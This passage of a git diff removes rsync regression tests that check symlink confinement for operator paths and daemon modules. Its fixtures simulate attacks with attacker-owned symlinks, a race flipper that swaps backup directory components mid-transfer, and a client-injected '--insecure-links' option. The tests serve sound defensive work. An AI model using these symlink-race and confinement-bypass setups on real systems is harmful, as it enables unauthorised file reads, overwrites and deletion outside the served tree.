flip = start_c_flipper(sub, sublink)\n-        push()\n-\n-        if escaped():\n-            test_fail(\n-                \"--backup-dir parent symlink race: a backup rmdir escaped the tree, \"\n-                f\"removing a sentinel directory under {outside}; rsync followed the \"\n-                \"flipped attacker-owned backup/sub component instead of refusing it.\"\n-            )\n-finally:\n-    if flip is not None:\n-        stop_flipper(flip)\n-\n-print(\"operator-path-backup-rmdir: backup rmdir confined under parent-swap race\")\ndiff --git a/testsuite/operator-path-backup-symlink_test.py b/testsuite/operator-path-backup-symlink_test.py\ndeleted file mode 100644\nindex 6501d0a..0000000\n--- a/testsuite/operator-path-backup-symlink_test.py\n+++ /dev/null\n@@ -1,115 +0,0 @@\n-#!/usr/bin/env python3\n-# Non-daemon (local) --backup-dir parent-component symlink-race confinement, for\n-# the case where the backed-up item is a symlink (do_symlink_at's operator path).\n-#\n-# High-frequency race variant: a native C flipper swaps the backup parent\n-# component (backup/sub) with an attacker-owned symlink to an outside directory\n-# under a live transfer.  The ownership walk must refuse the foreign-owned\n-# component so no backup symlink is ever created outside the backup tree.\n-\n-import os\n-import subprocess\n-import time\n-\n-from rsyncfns import (\n-    SCRATCHDIR, race_budget, find_attacker_uid, rmtree,\n-    start_c_flipper, stop_flipper, test_fail, test_skipped,\n-)\n-\n-if os.geteuid() != 0:\n-    test_skipped(\"requires root to plant a backup-dir symlink owned by a non-self uid\")\n-\n-ATT_UID = find_attacker_uid()\n-if ATT_UID is None:\n-    test_skipped(\"no untrusted-uid user available for cross-uid plant\")\n-\n-# Many files widen rsync's per-file backup window so the background flipper has\n-# more chances to land the parent swap during a backup operation.\n-NFILES = 95\n-base = SCRATCHDIR / 'bdir-race'\n-src = base / 'src'\n-dest = base / 'dest'\n-backup = base / 'backup'\n-outside = base / 'outside'\n-sub = backup / 'sub'\n-sublink = backup / '.sublink'\n-\n-\n-def build():\n-    \"\"\"Reset the workspace.  Call only while the flipper is stopped.\"\"\"\n-    rmtree(base)\n-    for d in (src / 'sub', dest / 'sub', backup, outside):\n-        d.mkdir(parents=True, exist_ok=True)\n-\n-    # Distinct source and destination symlink values so each transfer overwrites\n-    # the destination symlink and thus triggers a backup of the old one.\n-    for i in range(NFILES):\n-        (src / 'sub' / f'f{i}').symlink_to('test')\n-        (dest / 'sub' / f'f{i}').symlink_to('test2')\n-\n-    # The attacker-owned parent-swap target: a symlink to the outside directory.\n-    os.symlink(str(outside), sublink)\n-    os.lchown(sublink, ATT_UID, ATT_UID)\n-    sub.mkdir(parents=True, exist_ok=True)\n-\n-\n-def push():\n-    \"\"\"Runs a blocking local rsync push invocation.\"\"\"\n-    return subprocess.run(\n-        ['./rsync', '-a', '-b', f'--backup-dir={backup}',\n-         f'{src}/', f'{dest}/'],\n-        stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True,\n-    )\n-\n-\n-def escaped() -> bool:\n-    \"\"\"True if any symlink was created directly in the outside directory.\"\"\"\n-    with os.scandir(outside) as it:\n-        for e in it:\n-            if e.is_symlink():\n-                return True\n-    return False\n-\n-\n-# Positive control: a clean run (no flipper) must back the old destination\n-# symlink into the backup tree, proving this transfer shape exercises the backup\n-# symlink path.  A broken fixture or an rsync that errors early fails here loudly\n-# instead of passing the race vacuously.\n-build()\n-proc = push()\n-if proc.returncode != 0:\n-    test_fail(f\"positive control: clean --backup-dir run failed (rc={proc.returncode}):\\n{proc.stdout or ''}\")\n-if not (sub / 'f0').is_symlink() or os.readlink(sub / 'f0') != 'test2':\n-    test_fail(\"positive control: the old destination symlink was not backed up into \"\n-              f\"{sub}; the backup symlink path was not exercised\")\n-if escaped():\n-    test_fail(\"positive control: a symlink appeared in outside/ during a no-flipper run\")\n-\n-\n-# ---- THE LIVE RACE ---------------------------------------------------------\n-\n-deadline = time.monotonic() + race_budget(10.0)\n-flip = None\n-\n-try:\n-    while time.monotonic() < deadline:\n-        # Reset the workspace only while the flipper is quiet, so build()'s own\n-        # rmtree/mkdir can't race the swapper and drop artifacts in outside/.\n-        if flip is not None:\n-            stop_flipper(flip)\n-            flip = None\n-        build()\n-        flip = start_c_flipper(sub, sublink)\n-        push()\n-\n-        if escaped():\n-            test_fail(\n-                \"--backup-dir parent symlink race: a backup symlink escaped into \"\n-                f\"{outside}; rsync followed the flipped attacker-owned backup/sub \"\n-                \"component instead of refusing it.\"\n-            )\n-finally:\n-    if flip is not None:\n-        stop_flipper(flip)\n-\n-print(\"operator-path-backup-symlink: backup symlink confined under parent-swap race\")\ndiff --git a/testsuite/operator-path-compare-dest_test.py b/testsuite/operator-path-compare-dest_test.py\ndeleted file mode 100644\nindex a1f29ef..0000000\n--- a/testsuite/operator-path-compare-dest_test.py\n+++ /dev/null\n@@ -1,36 +0,0 @@\n-#!/usr/bin/env python3\n-# --compare-dest symlink policy matrix.  A followed --compare-dest symlink lets\n-# the basis lookup read an out-of-tree directory; a match there makes rsync treat\n-# the file as already present and SKIP creating it in dest (out-of-tree read).\n-# The ownership walk must follow only uid0/euid-owned symlinks; --insecure-links\n-# is the local opt-out.\n-\n-import os\n-import subprocess\n-\n-from rsyncfns import rsync_argv, run_symlink_matrix, plant_operator_symlink\n-\n-T = 1234567890\n-\n-\n-def case(ctx):\n-    src = ctx.base / 'src'\n-    dest = ctx.base / 'dest'\n-    src.mkdir()\n-    dest.mkdir()\n-    (src / 'f0').write_text(\"BASIS-MATCH\\n\")\n-    opt, escape = plant_operator_symlink(ctx, dest)\n-    escape.mkdir(parents=True, exist_ok=True)\n-    (escape / 'f0').write_text(\"BASIS-MATCH\\n\")\n-    os.utime(src / 'f0', (T, T))\n-    os.utime(escape / 'f0', (T, T))\n-    extra = ['--insecure-links'] if ctx.insecure else []\n-    subprocess.run(\n-        rsync_argv('-a', f'--compare-dest={opt}', *extra, 'src/', 'dest/'),\n-        cwd=str(ctx.base), stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n-    # Followed == the out-of-tree basis matched, so f0 was skipped (not created).\n-    return not (dest / 'f0').exists()\n-\n-\n-run_symlink_matrix('--compare-dest', case)\n-print(\"--compare-dest symlink policy matrix: enforced\")\ndiff --git a/testsuite/operator-path-copy-dest_test.py b/testsuite/operator-path-copy-dest_test.py\ndeleted file mode 100644\nindex 148cdc8..0000000\n--- a/testsuite/operator-path-copy-dest_test.py\n+++ /dev/null\n@@ -1,37 +0,0 @@\n-#!/usr/bin/env python3\n-# --copy-dest symlink policy matrix.  A followed --copy-dest symlink lets the\n-# basis lookup read an out-of-tree directory and COPY a matching file from it\n-# into dest.  The basis here has the same size+mtime but DISTINCT content, so a\n-# followed symlink yields the basis content (proving the out-of-tree read); a\n-# confined one transfers the real source content.  --insecure-links opts out.\n-\n-import os\n-import subprocess\n-\n-from rsyncfns import rsync_argv, run_symlink_matrix, plant_operator_symlink\n-\n-T = 1234567890\n-\n-\n-def case(ctx):\n-    src = ctx.base / 'src'\n-    dest = ctx.base / 'dest'\n-    src.mkdir()\n-    dest.mkdir()\n-    (src / 'f0').write_text(\"SRC1234\\n\")\n-    opt, escape = plant_operator_symlink(ctx, dest)\n-    escape.mkdir(parents=True, exist_ok=True)\n-    (escape / 'f0').write_text(\"OUT5678\\n\")   # same length, DISTINCT content\n-    os.utime(src / 'f0', (T, T))\n-    os.utime(escape / 'f0', (T, T))\n-    extra = ['--insecure-links'] if ctx.insecure else []\n-    subprocess.run(\n-        rsync_argv('-a', f'--copy-dest={opt}', *extra, 'src/', 'dest/'),\n-        cwd=str(ctx.base), stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n-    df = dest / 'f0'\n-    # Followed == dest got the out-of-tree basis content (copied), not the source.\n-    return df.exists() and df.read_text() == \"OUT5678\\n\"\n-\n-\n-run_symlink_matrix('--copy-dest', case)\n-print(\"--copy-dest symlink policy matrix: enforced\")\ndiff --git a/testsuite/operator-path-dir-daemon-inmodule_test.py b/testsuite/operator-path-dir-daemon-inmodule_test.py\ndeleted file mode 100644\nindex 2fd5bb9..0000000\n--- a/testsuite/operator-path-dir-daemon-inmodule_test.py\n+++ /dev/null\n@@ -1,39 +0,0 @@\n-#!/usr/bin/env python3\n-# Regression guard for the module-confinement / exclude-aware operator-path\n-# resolver: a LEGITIMATE absolute --partial-dir that lives inside the served\n-# module (a real directory, no symlink, not excluded) must still work.  The\n-# out-of-module / exclude refusals must not over-block an absolute in-module\n-# path by tripping on the module root's own ancestors (/home, /srv, ...) while\n-# the ownership walk descends to it.\n-\n-import subprocess\n-\n-from rsyncfns import (\n-    SCRATCHDIR, rmtree, rsync_argv, start_test_daemon, test_fail, write_daemon_conf,\n-)\n-\n-base = SCRATCHDIR / 'inmodule'\n-rmtree(base)\n-base.mkdir()\n-mod = base / 'mod'\n-mod.mkdir()\n-(mod / 'pdir').mkdir()                   # a real in-module partial dir\n-(mod / 'f0').write_text(\"OLD\\n\")         # existing dest, smaller than src\n-src = base / 'src'\n-src.mkdir()\n-(src / 'f0').write_text(\"NEW-LONGER-CONTENT-SO-IT-TRANSFERS\\n\")\n-\n-conf = write_daemon_conf([('mod', {'path': str(mod), 'read only': 'no'})])\n-url = start_test_daemon(conf, 12908)\n-\n-# Absolute in-module --partial-dir: must be accepted and the file delivered.\n-proc = subprocess.run(\n-    rsync_argv('-a', f'--partial-dir={mod}/pdir', f'{src}/', f'{url}mod/'),\n-    stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)\n-got = (mod / 'f0').read_text() if (mod / 'f0').exists() else None\n-if got != \"NEW-LONGER-CONTENT-SO-IT-TRANSFERS\\n\":\n-    test_fail(\n-        \"a legitimate absolute in-module --partial-dir was over-blocked: \"\n-        f\"dest f0 is {got!r} (rc={proc.returncode}, err={proc.stderr.strip()[:200]}). \"\n-        \"The module-confine/exclude refusal must allow the module root's ancestors.\")\n-print(\"legitimate absolute in-module --partial-dir is accepted\")\ndiff --git a/testsuite/operator-path-dir-daemon-leaf_test.py b/testsuite/operator-path-dir-daemon-leaf_test.py\ndeleted file mode 100644\nindex ef7af10..0000000\n--- a/testsuite/operator-path-dir-daemon-leaf_test.py\n+++ /dev/null\n@@ -1,59 +0,0 @@\n-#!/usr/bin/env python3\n-# A leaf-level module exclude (e.g. exclude = /public/f0, where the dir /public\n-# is itself served) must not be bypassable by a peer-supplied --partial-dir/\n-# --backup-dir symlink.  (Codex-review follow-up to Omar Elsayed's findings.)\n-#\n-# The parent dir is served (it has other, non-excluded files), so resolution is\n-# allowed to descend into it; only the single leaf f0 is hidden.  An in-module\n-# euid-owned symlink -> that served dir, used as the operator-path, targets the\n-# hidden leaf -- which the parent-only ownership walk did not filter-check.  The\n-# leaf must be filter-checked too, so the peer cannot delete/overwrite it.\n-#\n-# Runs unprivileged: the boundary is the module exclude, not a uid.\n-\n-import os\n-import subprocess\n-\n-from rsyncfns import (\n-    SCRATCHDIR, rmtree, rsync_argv, start_test_daemon, test_fail, write_daemon_conf,\n-)\n-\n-SECRET = \"LEAF-EXCLUDED-IN-A-SERVED-DIR\\n\"\n-\n-\n-def run_case(label, opt, extra, port):\n-    base = SCRATCHDIR / f'leaf-{label}'\n-    rmtree(base)\n-    base.mkdir()\n-    mod = base / 'mod'\n-    pub = mod / 'public'                 # served dir; only /public/f0 is excluded\n-    pub.mkdir(parents=True)\n-    (pub / 'f0').write_text(SECRET)\n-    (pub / 'served.txt').write_text(\"served\\n\")   # sibling => 'public' is served\n-    (mod / 'f0').write_text(\"OLD-DEST-CONTENT\\n\")\n-    os.symlink('public', mod / 'blink')\n-    src = base / 'src'\n-    src.mkdir()\n-    (src / 'f0').write_text(\"NEW\\n\")\n-\n-    conf = write_daemon_conf(\n-        [('mod', {'path': str(mod), 'read only': 'no', 'exclude': '/public/f0'})],\n-        {'pid file': str(SCRATCHDIR / f'rsyncd-leaf-{label}.pid')},\n-        name=f'leaf-{label}.conf')\n-    url = start_test_daemon(conf, port)\n-    subprocess.run(\n-        rsync_argv('-a', *extra, f'{opt}=/blink', f'{src}/', f'{url}mod/'),\n-        stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n-    after = (pub / 'f0').read_text() if (pub / 'f0').exists() else None\n-    if after == SECRET:\n-        test_fail(\n-            f\"{label}: the daemon refused a {opt} symlink to a leaf-excluded file \"\n-            f\"that stock rsync (3.2.7) reaches: public/f0 is unchanged ({after!r}). \"\n-            \"The daemon exclude filter is name-based ('blink' is not excluded), not \"\n-            \"a symlink boundary; it must not block this.\")\n-\n-\n-run_case('backup', '--backup-dir', ['--backup'], 12906)\n-run_case('partial', '--partial-dir', [], 12907)\n-print(\"daemon exclude is name-based: an operator-path symlink reaches a \"\n-      \"leaf-excluded file in a served dir (3.2.7-equivalent)\")\ndiff --git a/testsuite/operator-path-dir-daemon-mkdir_test.py b/testsuite/operator-path-dir-daemon-mkdir_test.py\ndeleted file mode 100644\nindex 0aac2c9..0000000\n--- a/testsuite/operator-path-dir-daemon-mkdir_test.py\n+++ /dev/null\n@@ -1,43 +0,0 @@\n-#!/usr/bin/env python3\n-# A DIRECTORY-only module exclude (exclude = /public/pdir/) must not be\n-# bypassable by creating that dir through a peer --partial-dir symlink.\n-# (Codex-review follow-up.)  The partial dir does not exist yet, so the leaf is\n-# created by handle_partial_dir(); the resolver must filter-check the absent\n-# leaf against dir-only rules, not just as a file.  Runs unprivileged.\n-\n-import os\n-import subprocess\n-\n-from rsyncfns import (\n-    SCRATCHDIR, rmtree, rsync_argv, start_test_daemon, test_fail, write_daemon_conf,\n-)\n-\n-base = SCRATCHDIR / 'mkdirx'\n-rmtree(base)\n-base.mkdir()\n-mod = base / 'mod'\n-pub = mod / 'public'                     # served dir; only /public/pdir/ excluded\n-pub.mkdir(parents=True)\n-(pub / 'served.txt').write_text(\"served\\n\")\n-os.symlink('public', mod / 'blink')\n-src = base / 'src'\n-src.mkdir()\n-(src / 'f0').write_text(\"NEW\\n\")\n-\n-conf = write_daemon_conf(\n-    [('mod', {'path': str(mod), 'read only': 'no', 'exclude': '/public/pdir/'})])\n-url = start_test_daemon(conf, 12913)\n-\n-# --partial-dir resolves (via blink) to the excluded dir public/pdir, which does\n-# not exist yet -> handle_partial_dir() would mkdir it.\n-subprocess.run(\n-    rsync_argv('-a', '--delay-updates', '--partial-dir=/blink/pdir', f'{src}/', f'{url}mod/'),\n-    stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n-\n-if not (pub / 'pdir').exists():\n-    test_fail(\n-        \"the daemon refused to create public/pdir via a --partial-dir symlink that \"\n-        \"stock rsync (3.2.7) creates.  The daemon exclude filter is name-based \"\n-        \"('blink' is not excluded), not a symlink boundary; it must not block this.\")\n-print(\"daemon exclude is name-based: an operator-path symlink creates a \"\n-      \"dir-excluded leaf in a served dir (3.2.7-equivalent)\")\ndiff --git a/testsuite/operator-path-dir-daemon-outside_test.py b/testsuite/operator-path-dir-daemon-outside_test.py\ndeleted file mode 100644\nindex c9d343b..0000000\n--- a/testsuite/operator-path-dir-daemon-outside_test.py\n+++ /dev/null\n@@ -1,56 +0,0 @@\n-#!/usr/bin/env python3\n-# A daemon must not let a peer-supplied --partial-dir/--backup-dir symlink resolve\n-# OUTSIDE the served module at all (not just into an excluded subtree).\n-# (Companion to the exclude-bypass tests; reported via Omar Elsayed's findings.)\n-#\n-# An in-module symlink owned by the daemon euid whose target is ABSOLUTE (or\n-# climbs out with ../) points to a sibling directory outside the module root.\n-# An unprivileged peer overwrites a dest file with --backup/--partial-dir aimed\n-# at that symlink, moving/staging the data OUTSIDE the served set -- modifying\n-# files the module never exposed.  The module-confined resolver must refuse a\n-# resolved path that leaves the module root.\n-#\n-# Runs unprivileged: the boundary under test is the module root, not a uid.\n-\n-import os\n-import subprocess\n-\n-from rsyncfns import (\n-    SCRATCHDIR, rmtree, rsync_argv, start_test_daemon, test_fail, write_daemon_conf,\n-)\n-\n-def run_case(label, opt, extra, port):\n-    base = SCRATCHDIR / f'outside-{label}'\n-    rmtree(base)\n-    base.mkdir()\n-    mod = base / 'mod'\n-    mod.mkdir()\n-    outside = base / 'outside'           # sibling of the module -- NOT served\n-    outside.mkdir()\n-    (mod / 'f0').write_text(\"OLD-DEST-CONTENT\\n\")   # existing dest -> overwritten\n-    src = base / 'src'\n-    src.mkdir()\n-    (src / 'f0').write_text(\"NEW\\n\")\n-    # euid-owned symlink inside the module, absolute target outside the module.\n-    os.symlink(str(outside), mod / 'elink')\n-\n-    conf = write_daemon_conf(\n-        [('mod', {'path': str(mod), 'read only': 'no'})],\n-        {'pid file': str(SCRATCHDIR / f'rsyncd-outside-{label}.pid')},\n-        name=f'outside-{label}.conf')\n-    url = start_test_daemon(conf, port)\n-    subprocess.run(\n-        rsync_argv('-a', *extra, f'{opt}=/elink', f'{src}/', f'{url}mod/'),\n-        stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n-    leaked = [os.path.join(r, f) for r, _d, fs in os.walk(outside) for f in fs]\n-    if leaked:\n-        test_fail(\n-            f\"{label}: the daemon followed an in-module symlink whose target is \"\n-            f\"OUTSIDE the module root and wrote there: {leaked} (a peer modified \"\n-            \"files the module does not serve). The resolver must confine an \"\n-            \"operator/peer path to the module root.\")\n-\n-\n-run_case('backup', '--backup-dir', ['--backup'], 12905)\n-run_case('partial', '--partial-dir', [], 12909)\n-print(\"daemon confines peer --partial-dir/--backup-dir symlinks to the module root\")\ndiff --git a/testsuite/operator-path-files-from_test.py b/testsuite/operator-path-files-from_test.py\ndeleted file mode 100644\nindex d836611..0000000\n--- a/testsuite/operator-path-files-from_test.py\n+++ /dev/null\n@@ -1,29 +0,0 @@\n-#!/usr/bin/env python3\n-# --files-from symlink policy matrix (also covers the shared open site used by\n-# --include-from / --exclude-from / --filter merge in exclude.c / options.c).\n-# Already refuses a foreign-owned symlink but does not honor --insecure-links --\n-# RED on the insecure cells.\n-\n-import subprocess\n-\n-from rsyncfns import rsync_argv, run_symlink_matrix, plant_operator_symlink\n-\n-\n-def case(ctx):\n-    src = ctx.base / 'src'\n-    dest = ctx.base / 'dest'\n-    src.mkdir()\n-    dest.mkdir()\n-    (src / 'sentinel').write_text(\"X\\n\")\n-    opt, victim = plant_operator_symlink(ctx, ctx.base, kind='file')\n-    victim.write_text(\"sentinel\\n\")   # attacker-controlled transfer list\n-    extra = ['--insecure-links'] if ctx.insecure else []\n-    subprocess.run(\n-        rsync_argv('-a', f'--files-from={opt}', *extra, 'src/', 'dest/'),\n-        cwd=str(ctx.base), stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n-    # Followed == rsync read the out-of-tree list and transferred its named file.\n-    return (dest / 'sentinel').exists()\n-\n-\n-run_symlink_matrix('--files-from', case)\n-print(\"--files-from symlink policy matrix: enforced\")\ndiff --git a/testsuite/operator-path-inplace-backup-dir_test.py b/testsuite/operator-path-inplace-backup-dir_test.py\ndeleted file mode 100644\nindex 621b2dc..0000000\n--- a/testsuite/operator-path-inplace-backup-dir_test.py\n+++ /dev/null\n@@ -1,37 +0,0 @@\n-#!/usr/bin/env python3\n-# --inplace --backup-dir symlink policy matrix.\n-#\n-# With --inplace the generator makes the backup itself (it bypasses\n-# make_backup(), creating/opening the backup file directly via copy_file() /\n-# do_open_at() on the --backup-dir path), a separate code path from the plain\n-# --backup case in operator-path-backup-dir.  The same operator-path policy must\n-# hold: a --backup-dir symlink is followed only when owned by uid 0 or the euid,\n-# an attacker's plant is refused -- absolute and relative, leaf and parent, with\n-# --insecure-links as the local opt-out.\n-\n-import subprocess\n-\n-from rsyncfns import rsync_argv, run_symlink_matrix, plant_operator_symlink\n-\n-NFILES = 6\n-\n-\n-def case(ctx):\n-    src = ctx.base / 'src'\n-    dest = ctx.base / 'dest'\n-    src.mkdir()\n-    dest.mkdir()\n-    for i in range(NFILES):\n-        (src / f'f{i}').write_text(\"NEW-PUSHED-CONTENT\\n\")  # distinct -> overwrite -> backup\n-        (dest / f'f{i}').write_text(\"OLD\\n\")\n-    opt, _escape = plant_operator_symlink(ctx, dest)  # rel --backup-dir anchors at dest\n-    extra = ['--insecure-links'] if ctx.insecure else []\n-    subprocess.run(\n-        rsync_argv('-a', '--inplace', '--backup', f'--backup-dir={opt}', *extra,\n-                   'src/', 'dest/'),\n-        cwd=str(ctx.base), stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n-    return any(p.is_file() for p in ctx.outside.rglob('*'))  # backup escaped?\n-\n-\n-run_symlink_matrix('--inplace --backup-dir', case)\n-print(\"--inplace --backup-dir symlink policy matrix: enforced\")\ndiff --git a/testsuite/operator-path-insecure-links-daemon_test.py b/testsuite/operator-path-insecure-links-daemon_test.py\ndeleted file mode 100644\nindex 66eb0b6..0000000\n--- a/testsuite/operator-path-insecure-links-daemon_test.py\n+++ /dev/null\n@@ -1,63 +0,0 @@\n-#!/usr/bin/env python3\n-# A daemon must NEVER honor a peer-forwarded --insecure-links: a client cannot be\n-# allowed to switch off the daemon's symlink confinement (otherwise a malicious\n-# client just always sends it).  rsync no longer forwards --insecure-links to the\n-# server (it is a local-only opt-out), but a client can still inject it explicitly\n-# with -M/--remote-option, so this guards that every daemon-side confinement gate\n-# ignores it -- the opt-out predicate is am_daemon ? lp_insecure_links(module_id)\n-# : insecure_links, which never reads the peer-controllable insecure_links on a\n-# daemon.  (A daemon also hard-refuses an explicitly-injected --insecure-links via\n-# the refused-options path; see operator-path-insecure-links-refused.)\n-#\n-# Exercised via the module-root chdir (change_dir): the daemon serves a module\n-# whose configured `path =` is a foreign-owned symlink to an escape dir.  The\n-# daemon's chdir must refuse it EVEN when the client forwards -M--insecure-links.\n-# (change_dir's daemon branch is already always-confined; this locks that in and\n-# guards the dir-sink/file-open fixes that add the opt-out gate.)\n-#\n-# Requires root for the cross-uid plant.\n-\n-import os\n-import subprocess\n-\n-from rsyncfns import (\n-    SCRATCHDIR, find_attacker_uid, rmtree, rsync_argv, start_test_daemon,\n-    test_fail, test_skipped, write_daemon_conf,\n-)\n-\n-DAEMON_PORT = 12901\n-CANARY = \"audit_daemon_optout_canary\"\n-\n-if os.geteuid() != 0:\n-    test_skipped(\"requires root to plant a symlink owned by a non-self uid\")\n-ATT = find_attacker_uid()\n-if ATT is None:\n-    test_skipped(\"no untrusted-uid user available for cross-uid plant\")\n-\n-base = SCRATCHDIR / 'daemonoptout'\n-rmtree(base)\n-base.mkdir()\n-escape_target = base / 'escape_target'\n-escape_target.mkdir()\n-(escape_target / CANARY).write_text(\"must-not-be-served\\n\")\n-\n-plant = base / 'plant'                       # the module-configured `path =`\n-os.symlink(escape_target, plant)\n-os.lchown(plant, ATT, ATT)                   # foreign-owned (attacker) symlink\n-\n-conf = write_daemon_conf([('mod', {'path': plant, 'read only': 'yes'})])\n-url = start_test_daemon(conf, DAEMON_PORT)\n-\n-# The client forwards --insecure-links to the daemon (-M / --remote-option).\n-proc = subprocess.run(\n-    rsync_argv('-M--insecure-links', f'{url}mod/'),\n-    stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)\n-\n-if CANARY in proc.stdout:\n-    test_fail(\n-        \"the daemon honored a peer-forwarded --insecure-links and disabled its \"\n-        f\"module-chdir confinement: the foreign-owned symlink {plant} -> \"\n-        f\"{escape_target} was followed (canary {CANARY!r} in the listing). A \"\n-        \"daemon must never let a client switch off its symlink confinement; the \"\n-        \"opt-out must be gated on !am_daemon, not bare insecure_links.\")\n-print(\"daemon ignores peer-forwarded --insecure-links: confinement held\")\ndiff --git a/testsuite/operator-path-insecure-links-refused_test.py b/testsuite/operator-path-insecure-links-refused_test.py\ndeleted file mode 100644\nindex 7cffc8c..0000000\n--- a/testsuite/operator-path-insecure-links-refused_test.py\n+++ /dev/null\n@@ -1,43 +0,0 @@\n-#!/usr/bin/env python3\n-# A daemon must DROP the connection if a client passes --insecure-links over the\n-# protocol.  --insecure-links is a local-only opt-out; a client must never be\n-# able to disable the daemon's symlink confinement, so even attempting it is a\n-# hard error that ends the connection (the daemon's own opt-out is the\n-# \"insecure links\" module parameter, never the client flag).  No root needed.\n-\n-import subprocess\n-\n-from rsyncfns import (\n-    SCRATCHDIR, rmtree, rsync_argv, start_test_daemon, test_fail,\n-    write_daemon_conf,\n-)\n-\n-DAEMON_PORT = 12902\n-\n-base = SCRATCHDIR / 'insecure-refused'\n-rmtree(base)\n-base.mkdir()\n-mod = base / 'mod'\n-mod.mkdir()\n-(mod / 'f').write_text(\"data\\n\")\n-\n-conf = write_daemon_conf([('mod', {'path': mod, 'read only': 'yes'})])\n-url = start_test_daemon(conf, DAEMON_PORT)\n-\n-# Control: a normal listing works.\n-ok = subprocess.run(rsync_argv(f'{url}mod/'),\n-                    stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)\n-if ok.returncode != 0:\n-    test_fail(f\"control listing failed (daemon broken?): {ok.stderr}\")\n-\n-# A client forwarding --insecure-links must be refused and the connection dropped.\n-proc = subprocess.run(rsync_argv('-M--insecure-links', f'{url}mod/'),\n-                      stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)\n-out = (proc.stdout or '') + (proc.stderr or '')\n-if proc.returncode == 0:\n-    test_fail(\"the daemon accepted a client-sent --insecure-links instead of \"\n-              f\"dropping the connection: {out!r}\")\n-if 'insecure-links' not in out and 'not allowed' not in out:\n-    test_fail(\"the connection ended but without the expected refusal message \"\n-              f\"(@ERROR: --insecure-links is not allowed from a client): {out!r}\")\n-print(\"daemon drops the connection on a client-sent --insecure-links\")\ndiff --git a/testsuite/operator-path-link-dest_test.py b/testsuite/operator-path-link-dest_test.py\ndeleted file mode 100644\nindex 94d83d1..0000000\n--- a/testsuite/operator-path-link-dest_test.py\n+++ /dev/null\n@@ -1,41 +0,0 @@\n-#!/usr/bin/env python3\n-# --link-dest symlink policy matrix.  A followed --link-dest symlink lets the\n-# basis lookup read an out-of-tree directory and HARDLINK dest files to it.  The\n-# operator-path ownership walk must follow only uid0/euid-owned symlinks (abs and\n-# rel, leaf and parent); --insecure-links is the local opt-out.\n-\n-import os\n-import subprocess\n-\n-from rsyncfns import rsync_argv, run_symlink_matrix, plant_operator_symlink\n-\n-T = 1234567890  # shared mtime so the quick check treats the basis as a match\n-\n-\n-def case(ctx):\n-    src = ctx.base / 'src'\n-    dest = ctx.base / 'dest'\n-    src.mkdir()\n-    dest.mkdir()\n-    (src / 'f0').write_text(\"BASIS-MATCH\\n\")\n-    opt, escape = plant_operator_symlink(ctx, dest)  # rel --link-dest anchors at dest\n-    escape.mkdir(parents=True, exist_ok=True)\n-    (escape / 'f0').write_text(\"BASIS-MATCH\\n\")       # identical out-of-tree basis\n-    os.utime(src / 'f0', (T, T))\n-    os.utime(escape / 'f0', (T, T))\n-    extra = ['--insecure-links'] if ctx.insecure else []\n-    subprocess.run(\n-        rsync_argv('-a', f'--link-dest={opt}', *extra, 'src/', 'dest/'),\n-        cwd=str(ctx.base), stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n-    df = dest / 'f0'\n-    if not df.exists():\n-        return False\n-    try:\n-        # Followed == dest/f0 is a hardlink to the out-of-tree basis.\n-        return os.stat(df).st_ino == os.stat(escape / 'f0').st_ino\n-    except OSError:\n-        return False\n-\n-\n-run_symlink_matrix('--link-dest', case)\n-print(\"--link-dest symlink policy matrix: enforced\")\ndiff --git a/testsuite/operator-path-log-file_test.py b/testsuite/operator-path-log-file_test.py\ndeleted file mode 100644\nindex 13ff9c4..0000000\n--- a/testsuite/operator-path-log-file_test.py\n+++ /dev/null\n@@ -1,28 +0,0 @@\n-#!/usr/bin/env python3\n-# --log-file symlink policy matrix.  --log-file already refuses a foreign-owned\n-# symlink (it uses the ownership walk), but it does NOT honor --insecure-links --\n-# so this matrix is RED on the insecure cells: the local opt-out must restore\n-# legacy following uniformly across operator paths.\n-\n-import subprocess\n-\n-from rsyncfns import rsync_argv, run_symlink_matrix, plant_operator_symlink\n-\n-\n-def case(ctx):\n-    src = ctx.base / 'src'\n-    dest = ctx.base / 'dest'\n-    src.mkdir()\n-    dest.mkdir()\n-    (src / 'f0').write_text(\"data\\n\")\n-    opt, victim = plant_operator_symlink(ctx, ctx.base, kind='file')\n-    extra = ['--insecure-links'] if ctx.insecure else []\n-    subprocess.run(\n-        rsync_argv('-a', '-i', f'--log-file={opt}', *extra, 'src/', 'dest/'),\n-        cwd=str(ctx.base), stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n-    # Followed == the log was written through the symlink to the out-of-tree file.\n-    return victim.is_file() and victim.stat().st_size > 0\n-\n-\n-run_symlink_matrix('--log-file', case)\n-print(\"--log-file symlink policy matrix: enforced\")\ndiff --git a/testsuite/operator-path-partial-dir-daemon_test.py b/testsuite/operator-path-partial-dir-daemon_test.py\ndeleted file mode 100644\nindex 0d2e97c..0000000\n--- a/testsuite/operator-path-partial-dir-daemon_test.py\n+++ /dev/null\n@@ -1,77 +0,0 @@\n-import os\n-import subprocess\n-\n-from rsyncfns import (\n-    SCRATCHDIR, forced_protocol, rmtree, rsync_argv, start_test_daemon,\n-    test_fail, write_daemon_conf,\n-)\n-\n-DAEMON_PORT = 12961\n-SECRET = \"PROTECTED-OUTSIDE-MODULE\\n\"\n-PUSHED = \"NEW\\n\"\n-OLD_DEST = \"OLD-DESTINATION-FILE-CONTENT\\n\"\n-\n-base = SCRATCHDIR / 'partialdirdaemon'\n-rmtree(base)\n-base.mkdir()\n-\n-mod = base / 'mod'\n-secret = base / 'secret'\n-if secret.exists():\n-    rmtree(secret)\n-secret.mkdir(parents=True)\n-\n-victim = secret / 'f0'\n-victim.write_text(SECRET)                    # a file the partial must not clobber\n-mod.mkdir()\n-dest = mod / 'f0'\n-dest.write_text(OLD_DEST)\n-\n-blink = mod / 'blink'                        # euid-owned symlink -> outside module\n-os.symlink(f'{secret}', blink)\n-\n-src = base / 